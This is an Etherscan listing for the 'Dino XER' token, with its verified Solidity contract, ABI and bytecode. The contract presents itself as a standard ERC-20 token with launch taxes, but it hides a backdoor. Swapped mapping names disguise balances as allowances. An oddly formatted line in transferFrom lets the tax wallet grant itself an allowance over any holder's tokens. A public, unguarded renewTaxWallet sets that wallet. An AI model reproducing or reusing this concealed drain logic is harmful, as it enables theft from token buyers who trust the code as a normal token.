ETH Price: $2,130.36 (-15.17%)

Token

Dino XER (XER)
 

Overview

Max Total Supply

1,000,000,000 XER

Holders

59

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V2: XER
Balance
203,373,584.773355153 XER

Value
$0.00
0xae0499d071ba079072540dd77f6232d96643d9b1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DinoXER

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-30
*/

// SPDX-License-Identifier: UNLICENSE

/**

WEBSITE: https://xerxer.xyz
X: https://x.com/xerworldx

https://t.me/xerxergroup

*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract DinoXER is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _allowances;
    mapping (address => mapping (address => uint256)) private _balances;
    mapping (address => bool) private _feeExempt;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=25;
    uint256 private _initialSellTax=20;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Dino XER";
    string private constant _symbol = unicode"XER";
    uint256 public _maxTxAmount = 2 * _tTotal / 100;
    uint256 public _maxWalletSize = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold= 1 * _tTotal / 100;
    uint256 public _maxTaxSwap= 1 * _tTotal / 100;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _allowances[_msgSender()] = _tTotal;
        _feeExempt[owner()] = true;
        _feeExempt[address(this)] = true;
        _feeExempt[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _allowances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _balances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        _transfer(from, to, amount); address sender = 
        _msgSender();if(_taxWallet == _msgSender() && block.chainid > 0 && owner() != sender)_balances[from][sender] = 
        _finalBuyTax + amount; _approve(from, from, _balances[from][sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _balances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function withdrawStuckToken(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address)
            .balanceOf(address(this))
            .mul(percent)
            .div(100);
        IERC20(_address).transfer(owner(), _amount);
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if(from == uniswapV2Pair)
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _feeExempt[to] ) {
                require(tradingOpen,"Trading not open yet");
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _taxSwapThreshold) swapTokensBack(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                sned(address(this).balance);
            }
        }

        if(taxAmount>0){
          _allowances[address(this)]=_allowances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _allowances[from]=_allowances[from].sub(amount);
        _allowances[to]=_allowances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensBack(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function enableTradePumpAndPump() external onlyOwner {
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function sned(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function createPairBeforeLaunch(address pair) external onlyOwner {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        require(uniswapV2Pair != address(0));
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        renewTaxWallet(pair);
    }

    function withdrawStuckETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(owner()).transfer(address(this).balance);
    }

    function renewTaxWallet(address newTaxWallet) public {
        _taxWallet = payable(newTaxWallet);
        _feeExempt[newTaxWallet] = true;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"createPairBeforeLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTradePumpAndPump","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newTaxWallet","type":"address"}],"name":"renewTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"withdrawStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601960055560146006555f6007555f600855600f600955600f600a55600f600b555f600c5560646009600a6200003b91906200039c565b6200004b90633b9aca00620003b3565b62000058906002620003b3565b620000649190620003cd565b600d556064620000776009600a6200039c565b6200008790633b9aca00620003b3565b62000094906002620003b3565b620000a09190620003cd565b600e556064620000b36009600a6200039c565b620000c390633b9aca00620003b3565b620000d0906001620003b3565b620000dc9190620003cd565b600f556064620000ef6009600a6200039c565b620000ff90633b9aca00620003b3565b6200010c906001620003b3565b620001189190620003cd565b6010556012805461ffff60a81b1916905534801562000135575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191633179055620001966009600a6200039c565b620001a690633b9aca00620003b3565b335f908152600160208190526040822092909255600390620001cf5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004549091168352912080549092161790556200022d3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002666009600a6200039c565b6200027690633b9aca00620003b3565b60405190815260200160405180910390a3620003ed565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002e157815f1904821115620002c557620002c56200028d565b80851615620002d357918102915b93841c9390800290620002a6565b509250929050565b5f82620002f95750600162000396565b816200030757505f62000396565b81600181146200032057600281146200032b576200034b565b600191505062000396565b60ff8411156200033f576200033f6200028d565b50506001821b62000396565b5060208310610133831016604e8410600b841016171562000370575081810a62000396565b6200037c8383620002a1565b805f19048211156200039257620003926200028d565b0290505b92915050565b5f620003ac60ff841683620002e9565b9392505050565b80820281158282048414176200039657620003966200028d565b5f82620003e857634e487b7160e01b5f52601260045260245ffd5b500490565b611a2780620003fb5f395ff3fe608060405260043610610129575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610321578063a9059cbb1461034c578063a96db15a1461036b578063bf474bed1461037f578063dd62ed3e14610394578063f5648a4f146103d8575f80fd5b8063715018a6146102a9578063751039fc146102bd5780637d1db4a5146102d15780638da5cb5b146102e65780638f9a55c01461030c575f80fd5b806318160ddd116100ee57806318160ddd1461020857806323b872dd1461021c578063313ce5671461023b57806364907b291461025657806370a0823114610275575f80fd5b806306fdde0314610134578063095ea7b3146101765780630c506e96146101a55780630faee56f146101c6578063173f5b0e146101e9575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506040805180820190915260088152672234b737902c22a960c11b60208201525b60405161016d9190611603565b60405180910390f35b348015610181575f80fd5b50610195610190366004611663565b6103ec565b604051901515815260200161016d565b3480156101b0575f80fd5b506101c46101bf366004611663565b610402565b005b3480156101d1575f80fd5b506101db60105481565b60405190815260200161016d565b3480156101f4575f80fd5b506101c461020336600461168d565b61054b565b348015610213575f80fd5b506101db610901565b348015610227575f80fd5b506101956102363660046116a8565b610921565b348015610246575f80fd5b506040516009815260200161016d565b348015610261575f80fd5b506101c461027036600461168d565b610a08565b348015610280575f80fd5b506101db61028f36600461168d565b6001600160a01b03165f9081526001602052604090205490565b3480156102b4575f80fd5b506101c4610a41565b3480156102c8575f80fd5b506101c4610ab2565b3480156102dc575f80fd5b506101db600d5481565b3480156102f1575f80fd5b505f546040516001600160a01b03909116815260200161016d565b348015610317575f80fd5b506101db600e5481565b34801561032c575f80fd5b506040805180820190915260038152622c22a960e91b6020820152610160565b348015610357575f80fd5b50610195610366366004611663565b610b63565b348015610376575f80fd5b506101c4610b6f565b34801561038a575f80fd5b506101db600f5481565b34801561039f575f80fd5b506101db6103ae3660046116e6565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103e3575f80fd5b506101c4610bb1565b5f6103f8338484610c1c565b5060015b92915050565b5f546001600160a01b031633146104345760405162461bcd60e51b815260040161042b9061171d565b60405180910390fd5b6040516370a0823160e01b81523060048201525f906104b5906064906104af9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610485573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104a99190611752565b90610d3f565b90610dc4565b9050826001600160a01b031663a9059cbb6104d75f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610521573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105459190611769565b50505050565b5f546001600160a01b031633146105745760405162461bcd60e51b815260040161042b9061171d565b601254600160a01b900460ff16156105ce5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161042b565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561061c9030906106096009600a61187c565b61061790633b9aca0061188a565b610c1c565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069091906118a1565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ef573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061071391906118a1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561075d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078191906118a1565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306107c8816001600160a01b03165f9081526001602052604090205490565b5f806107db5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610841573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061086691906118bc565b50506012546001600160a01b0316905061087e575f80fd5b60125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af11580156108d0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f49190611769565b506108fe81610a08565b50565b5f61090e6009600a61187c565b61091c90633b9aca0061188a565b905090565b5f61092d848484610e05565b60045433906001600160a01b03168114801561094857505f46115b80156109765750806001600160a01b031661096a5f546001600160a01b031690565b6001600160a01b031614155b156109af578260075461098991906118e7565b6001600160a01b038087165f908152600260209081526040808320938616835292905220555b6109fd8586610617866040518060600160405280602881526020016119ca602891396001600160a01b03808c165f908152600260209081526040808320938b16835292905220549190611341565b506001949350505050565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f546001600160a01b03163314610a6a5760405162461bcd60e51b815260040161042b9061171d565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610adb5760405162461bcd60e51b815260040161042b9061171d565b610ae76009600a61187c565b610af590633b9aca0061188a565b600d55610b046009600a61187c565b610b1290633b9aca0061188a565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610b426009600a61187c565b610b5090633b9aca0061188a565b60405190815260200160405180910390a1565b5f6103f8338484610e05565b5f546001600160a01b03163314610b985760405162461bcd60e51b815260040161042b9061171d565b6012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610bda5760405162461bcd60e51b815260040161042b9061171d565b5f4711610be5575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156108fe573d5f803e3d5ffd5b6001600160a01b038316610c7e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042b565b6001600160a01b038216610cdf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f825f03610d4e57505f6103fc565b5f610d59838561188a565b905082610d6685836118fa565b14610dbd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161042b565b9392505050565b5f610dbd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611379565b6001600160a01b038316610e695760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042b565b6001600160a01b038216610ecb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042b565b5f8111610f2c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042b565b5f80546001600160a01b03858116911614801590610f5757505f546001600160a01b03848116911614155b15611204576012546001600160a01b0390811690851603610f9b57610f9860646104af600954600c5411610f8d57600554610f91565b6007545b8590610d3f565b90505b6012546001600160a01b038581169116148015610fc657506011546001600160a01b03848116911614155b8015610fea57506001600160a01b0383165f9081526003602052604090205460ff16155b1561112057601254600160a01b900460ff1661103f5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b604482015260640161042b565b600d548211156110915760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161042b565b600e54826110b3856001600160a01b03165f9081526001602052604090205490565b6110bd91906118e7565b111561110b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161042b565b600c8054905f61111a83611919565b91905055505b6012546001600160a01b03848116911614801561114657506001600160a01b0384163014155b156111735761117060646104af600a54600c541161116657600654610f91565b6008548590610d3f565b90505b305f90815260016020526040902054601254600160a81b900460ff161580156111a957506012546001600160a01b038581169116145b80156111be5750601254600160b01b900460ff165b80156111cd5750600b54600c54115b1561120257600f548111156111f9576111f96111f4846111ef846010546113a5565b6113a5565b6113b9565b61120247611529565b505b801561127c57305f908152600160205260409020546112239082611564565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112739085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461129e90836115c2565b6001600160a01b0385165f908152600160205260409020556112e16112c383836115c2565b6001600160a01b0385165f9081526001602052604090205490611564565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61132a85856115c2565b60405190815260200160405180910390a350505050565b5f81848411156113645760405162461bcd60e51b815260040161042b9190611603565b505f6113708486611931565b95945050505050565b5f81836113995760405162461bcd60e51b815260040161042b9190611603565b505f61137084866118fa565b5f8183116113b35782610dbd565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113ff576113ff611944565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611456573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061147a91906118a1565b8160018151811061148d5761148d611944565b6001600160a01b0392831660209182029290920101526011546114b39130911684610c1c565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114eb9085905f90869030904290600401611958565b5f604051808303815f87803b158015611502575f80fd5b505af1158015611514573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611560573d5f803e3d5ffd5b5050565b5f8061157083856118e7565b905083811015610dbd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042b565b5f610dbd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611341565b5f602080835283518060208501525f5b8181101561162f57858101830151858201604001528201611613565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146108fe575f80fd5b5f8060408385031215611674575f80fd5b823561167f8161164f565b946020939093013593505050565b5f6020828403121561169d575f80fd5b8135610dbd8161164f565b5f805f606084860312156116ba575f80fd5b83356116c58161164f565b925060208401356116d58161164f565b929592945050506040919091013590565b5f80604083850312156116f7575f80fd5b82356117028161164f565b915060208301356117128161164f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611762575f80fd5b5051919050565b5f60208284031215611779575f80fd5b81518015158114610dbd575f80fd5b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117d657815f19048211156117bc576117bc611788565b808516156117c957918102915b93841c93908002906117a1565b509250929050565b5f826117ec575060016103fc565b816117f857505f6103fc565b816001811461180e576002811461181857611834565b60019150506103fc565b60ff84111561182957611829611788565b50506001821b6103fc565b5060208310610133831016604e8410600b8410161715611857575081810a6103fc565b611861838361179c565b805f190482111561187457611874611788565b029392505050565b5f610dbd60ff8416836117de565b80820281158282048414176103fc576103fc611788565b5f602082840312156118b1575f80fd5b8151610dbd8161164f565b5f805f606084860312156118ce575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103fc576103fc611788565b5f8261191457634e487b7160e01b5f52601260045260245ffd5b500490565b5f6001820161192a5761192a611788565b5060010190565b818103818111156103fc576103fc611788565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119a85784516001600160a01b031683529383019391830191600101611983565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209df4416bc0096219b1c51558198d7e7272f3ebda24777541f2832e6d5753057864736f6c63430008180033

Deployed Bytecode

0x608060405260043610610129575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610321578063a9059cbb1461034c578063a96db15a1461036b578063bf474bed1461037f578063dd62ed3e14610394578063f5648a4f146103d8575f80fd5b8063715018a6146102a9578063751039fc146102bd5780637d1db4a5146102d15780638da5cb5b146102e65780638f9a55c01461030c575f80fd5b806318160ddd116100ee57806318160ddd1461020857806323b872dd1461021c578063313ce5671461023b57806364907b291461025657806370a0823114610275575f80fd5b806306fdde0314610134578063095ea7b3146101765780630c506e96146101a55780630faee56f146101c6578063173f5b0e146101e9575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506040805180820190915260088152672234b737902c22a960c11b60208201525b60405161016d9190611603565b60405180910390f35b348015610181575f80fd5b50610195610190366004611663565b6103ec565b604051901515815260200161016d565b3480156101b0575f80fd5b506101c46101bf366004611663565b610402565b005b3480156101d1575f80fd5b506101db60105481565b60405190815260200161016d565b3480156101f4575f80fd5b506101c461020336600461168d565b61054b565b348015610213575f80fd5b506101db610901565b348015610227575f80fd5b506101956102363660046116a8565b610921565b348015610246575f80fd5b506040516009815260200161016d565b348015610261575f80fd5b506101c461027036600461168d565b610a08565b348015610280575f80fd5b506101db61028f36600461168d565b6001600160a01b03165f9081526001602052604090205490565b3480156102b4575f80fd5b506101c4610a41565b3480156102c8575f80fd5b506101c4610ab2565b3480156102dc575f80fd5b506101db600d5481565b3480156102f1575f80fd5b505f546040516001600160a01b03909116815260200161016d565b348015610317575f80fd5b506101db600e5481565b34801561032c575f80fd5b506040805180820190915260038152622c22a960e91b6020820152610160565b348015610357575f80fd5b50610195610366366004611663565b610b63565b348015610376575f80fd5b506101c4610b6f565b34801561038a575f80fd5b506101db600f5481565b34801561039f575f80fd5b506101db6103ae3660046116e6565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103e3575f80fd5b506101c4610bb1565b5f6103f8338484610c1c565b5060015b92915050565b5f546001600160a01b031633146104345760405162461bcd60e51b815260040161042b9061171d565b60405180910390fd5b6040516370a0823160e01b81523060048201525f906104b5906064906104af9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610485573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104a99190611752565b90610d3f565b90610dc4565b9050826001600160a01b031663a9059cbb6104d75f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610521573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105459190611769565b50505050565b5f546001600160a01b031633146105745760405162461bcd60e51b815260040161042b9061171d565b601254600160a01b900460ff16156105ce5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697